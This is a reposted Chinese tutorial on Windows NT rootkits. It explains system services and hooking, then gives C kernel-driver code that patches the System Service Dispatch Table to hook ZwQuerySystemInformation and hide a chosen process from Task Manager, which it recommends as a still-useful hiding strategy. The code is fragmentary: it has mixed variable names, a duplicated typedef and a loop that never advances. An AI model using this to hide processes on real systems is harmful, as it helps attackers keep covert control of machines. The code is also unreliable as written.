推荐:NT操作系统的Rootkit技术初探

来源:互联网 发布:在端口11211 连接失败 编辑:程序博客网 时间:2024/05/23 21:53

Rootkit最早是起源于UNIX,出现在20世纪90年代初,在1994年2月的一篇安全咨询报告中首先使用了Rootkit这个名称。这篇安全咨询就是CERT-CC的CA-1994-01,题目是Ongoing Network Monitoring Attacks,最新的修订时间是1997年9月19日。从出现之后,Rootkit的发展非常迅速,应用越来越广泛,检测难度也越来越大,而且使用者由计算机高手向“平民化”发展。目前Windows平台下的Rootkit也日益流行,如RU,hxdef1.0,AFX2005等等,这些都是经典的Rootkit,通过它们,黑客可以隐藏自己,隐藏文件,隐藏其他不受保护的程序,修改系统的各种配置,修改环境变量等等,以达到对主机长时间控制的目的。
一个典型的Rootkit包括以下几个部分组成:
隐藏程序,用于隐藏Rootkit的程序文件,进程信息,注册表信息,同时也可以为其他进程提供隐藏的帮助;
特洛伊木马程序,为攻击者提供下次进入的后门;
一个远程的Shell,为攻击者继续渗透和做其他工作进行支持;
由Rootkit的组成部分可以看出,Rootkit和普通的特洛伊木马的区别主要就是在隐藏的方式和隐藏的功能上,下面主要对Rootkit的隐藏来进行一些分析。在开始深入到Rootkit的技术细节之前,我们对WindowsNT的系统内核进行一下简单的相关介绍:
系统服务
1. Windows系统服务。Windows系统服务是由操作系统提供的一组函数,应用程序接口使得开发者能够直接的或者间接的调用系统服务,操作系统以动态连接库的形式提供应用程序接口,而我们平常编写程序用的API一些是直接来自相应的系统服务,另一些则依赖其他多个系统服务调用,也就是说应用程序接口和系统服务之间不是一对一的调用,这种关系可以用下图表示:
Kernel32.dll NTDLL.DLL

 



2. Windows NT下的系统服务。在Windows NT下,NT的executive(NTOSKERL.EXE的一部分)提供了核心的系统服务,这些服务非常的简单和原始,各种Win32,OS/2,和POSIX的应用程序接口都是以DLL形式提供的,这些应用程序接口反过来又调用NT executive提供的服务。尽管调用了相同的服务,但由于子系统名称不同,API函数的名称也不定相同,比如用Win32 API打开一个文件,使用CreateFile()函数,但是在POSIX的API中使用open()函数,但是最终的结果都是调用了系统服务的NtCreateFile()系统服务。
3. NTOSKERL的系统服务的用户接口是以包装函数的形式提供的。这些包装函数都在一个NTDLL.DLL的DLL里面,这些包装函数通过INT 2E指令来切换到内核模式并执行所需要的系统服务。WIN32 API函数(主要在Kernel32.DLL和Advapi.DLL里面)使用这些包装函数来调用系统服务。WIN32 API函数完成参数的有效性检查,将所有的参数都转换程UNICODE编码,然后调用NTDLL中对应所需的包装函数。NTOSKERL中的每一个系统服务都有Service ID标示,NTDLL中的包装函数将所需要的系统服务的Service ID送入EAX寄存器,将指向堆栈的指针送入EDX寄存器,然后发出INT 2E指令,这条指令将处理器切换至内核模式,并使处理器开始执行中断描述符表中为INT 2E指定的处理程序,这个处理程序由Windows NT的executive建。INT 2E处理程序将参数从用户模式堆栈拷贝到内核模式堆栈,堆栈的基址为EDX寄存器的值,由NT executive提供的INT 2E处理程序在内部被称为KiSystemService()。
4. Ring3和Ring0。在CPU的所有指令中,有一些指令是非常危险的,如果错用,将会导致整个系统崩溃,如果所有的程序都能使用这些指令,那么系统将不知道什么原因就会当机,就会蓝屏,由于这个原因,CPU将指令分为特权指令和非特权指令,对于那些特权指令只允许操作系统及其相关模块使用,普通的应用程序只能使用那些不会造成灾害的指令。可以更形象的说特权指令就是那些儿童不宜的东西,非特权指令就是那些老少皆宜的东西。Intel的CPU指令特权级别分为四个级别:Ring0,Ring1,Ring2,Ring3。Windows只使用其中的Ring0和Ring3两个级别,其中Ring0是给操作系统使用,Ring3可以任意应用程序使用。Windows下的系统服务都是工作在Ring0级别上的,NT服务提供的函数都是完全运行在内核模式下。
Hook的作用
钩子(Hooking)是一种拦截/监听可执行代码在执行过程中相关信息的一种通用机制,它可以监视指定窗口的某种消息,这个监视窗口可以是任意进程创建的,当消息到达后,在应用程序处理之前,可以由钩子程序首先进行分析处理,然后向下递交。因此钩子可以使我们了解系统的内部结构,运作机制,甚至可以修改系统的功能。
Hook系统服务
通过对Windows系统服务和Hook技术的简单介绍,显然,在这里我们会想到,应用程序所调用的API都是最终通过系统服务来实现的,如果我们通过挂钩技术来对系统服务进行挂钩,那么是不是就能达到我们的隐藏目的呢?答案是完全可行的。
查询Windows 2000Native Api我们可以找到,在任务管理器中查询进程信息是通过ZwQuerySystemInformation来实现,那么我们挂钩这个函数就能修改各种返回的系统信息,然后自己实现这个函数不就能达到隐藏特定的返回值的功能了吗? ZwQuerySystemInformation是在系统服务中提供,挂钩系统服务的最简单的办法就是定位操作系统使用的系统服务调度表(System Service Dispatch Table),以使之指向我们自己的某个函数,对调用返回的各种信息进行修改,然后回调。但是这个表在页表级是操作系统保护的,这个表所在的页的页属性被设置成只有内核模式的程序才能读写,用户级的应用程序不能读写该页单元,因此对这个表进行修改和挂钩必须通过内核驱动来完成。
NTOSKERL的export list中有一个未公开的表项结构叫做KeServiceDescriptorTable()。这个表项是访问系统服务调度表的关键,我们可以通过它来对系统服务调度表进行访问与修改。此表项的结构如下:
typedef struct ServiceDescriptorTable {
PVOID ServiceTableBase;
PVOID ServiceCounterTable(0);
unsigned int NumberOfServices;
PVOID ParamTableBase;
}
其中
ServiceTableBase是系统服务调度表的基地址;
NumberOfServices是系统服务调度表描述的服务的数目;
ServiceCounterTable(0)是操作系统的checked builds,包含了系统服务调度表中每个服务被调度的次数的计数器,这个计数器由INT 2E处理程序(KiSystemSerivce)更新;
ParamTableBase包含每个系统服务参数字节数表的基地址。
ServiceTableBase和ParaTableBase都有NumberOfService个表项,每个表项都是一个指向相应系统的函数指针。
我们只要由KeServiceDescriptorTable找到了我们关注的系统服务调用程序,就可以修改它对应的ServiceTableBase参数来实现对相应的系统服务调用的hook,在这里我们需要修改的相应的系统服务是ZwQuerySystemInformation。
一个简单的隐藏进程的Rootkit代码分析
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
定义未公开的KeserviceDescriptorTable。将keserviceDescriptorTable与相关数据结构联系起来,定义系统调用:
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
定义未公开的函数ZwQuerySystemInformation:
typedef
NTSTATUS
(*ZWQUERYSYSTEMINFORMATION)(
IN ULONG SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformaitonLength,
OUT PULONG ReturnLength OPTIONAL);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
定义ZwQuerySystemInformation函数中的数据结构
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};

struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //Windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};

struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};
修改系统服务调用,保留原始的入口地址,将系统服务对应的地址修改为我们程序的入口地址:
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)( SYSTEMSERVICE (ZwQuerySystemInformation));
_asm cli
(ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE (ZwQuerySystemInformation))= NewZwQuerySystemInformation;
_asm sti
解除钩子,还原系统服务:
_asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
_asm sti
调用原始的系统服务,然后通过实现自己的ZwQuerySystemInformation函数来达到隐藏进程的目的。首先调用原始ZwQuerySystemInformation函数,得到当前的SystemInformation,然后对SystemInformation结构进行遍历,查找是否有需要隐藏的进程名称,当发现有需要隐藏的进程名称之后,修改SystemInformation中的进程队列,取下需要隐藏的进程单元,以达到在任务管理器中隐藏的目的。
rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES * ProcPre = NULL;
while(curr)
{
if(RtlCompareUnicodeString(&ProcessName,&CurProcessName,TRUE) == 0)
当前的进程名称CurProcessName和需要隐藏的进程名称ProcessName进行比较,如果是需要隐藏的进程,则将指向当前进程的指针后移,摘除当前挂在链表上的进程结构。
{
if(ProcPre != NULL)
{
if(ProcCur->NextEntryDelta != 0)
{
ProcPre->NextEntryDelta += ProcCur->NextEntryDelta;
}
else
{
ProcPre->NextEntryDelta = 0;
}
}
else
{
if(ProcCur->NextEntryDelta != 0)
{
SystemInformation = (PSYSTEM_PROCESSES)((PTSTR)ProcCur + ProcCur->NextEntryDelta);
}
else
{
SystemInformation = NULL;
}
}
break;
}
}
最后将结果返回:
return(rc);
在这篇文章里面我们很粗浅的分析了一下一个基本的Rootkit的进程隐藏功能,相信大家看完之后对神秘的Rootkit有所了解。当然这个Hook ZwQuerySystemInformation来隐藏进程的技术已经能被很多的Rootkit检测工具查出来,但是,对于一般的进程查看工具而言,仍不失为一种比较好的隐藏策略。

 
原创粉丝点击